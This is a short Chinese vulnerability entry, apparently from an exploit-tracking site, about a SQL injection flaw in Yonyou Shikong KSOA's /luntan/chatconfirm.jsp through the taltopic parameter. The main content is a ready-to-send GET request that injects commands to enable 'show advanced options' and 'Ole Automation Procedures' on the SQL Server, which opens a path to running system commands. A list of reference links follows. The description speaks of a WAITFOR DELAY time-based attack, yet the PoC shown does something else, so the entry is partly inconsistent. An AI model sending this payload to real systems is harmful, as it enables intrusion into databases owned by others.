Description
用友-时空KSOA系统的/luntan/chatconfirm.jsp接口存在SQL时间盲注漏洞，攻击者可通过构造恶意taltopic参数注入SQL语句，利用WAITFOR DELAY实现时间延迟，获取数据库敏感信息，进一步可能导致系统被入侵控制。
用友-时空KSOA /luntan/chatconfirm.jsp SQL 注入漏洞
PoC
GET /luntan/chatconfirm.jsp?taltopic=';EXEC%20sp%5Fconfigure%20%27show%20advanced%20options%27%2C%201%3BRECONFIGURE%20WITH%20OVERRIDE%3BEXEC%20sp%5Fconfigure%20%27Ole%20Automation%20Procedures%27%2C%201%3BRECONFIGURE%20WITH%20OVERRIDE-- HTTP/1.1
# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.References
https://cn-sec.com/archives/4798171.html
https://github.com/eeeeeeeeee-code/POC/blob/main/wpoc/%E7%94%A8%E5%8F%8BOA/%E7%94%A8%E5%8F%8B%E6%97%B6%E7%A9%BAKSOA%E7%B3%BB%E7%BB%9F%E6%8E%A5%E5%8F%A3fillKP.jsp%E5%AD%98%E5%9C%A8SQL%E6%B3%A8%E5%85%A5%E6%BC%8F%E6%B4%9E.md
https://zhuanlan.zhihu.com/p/658151338
https://www.cnblogs.com/pursue-security/p/17775843.html
https://www.knowsafe.com/ti/info/0/1004847
https://bbs.decoyit.com/thread-587-1-1.html
https://blog.csdn.net/qq_36618918/article/details/135295845
https://security.zone.ci/secarticles/wx/497701.html
https://www.ddpoc.com/poc/DVB-2023-4909.html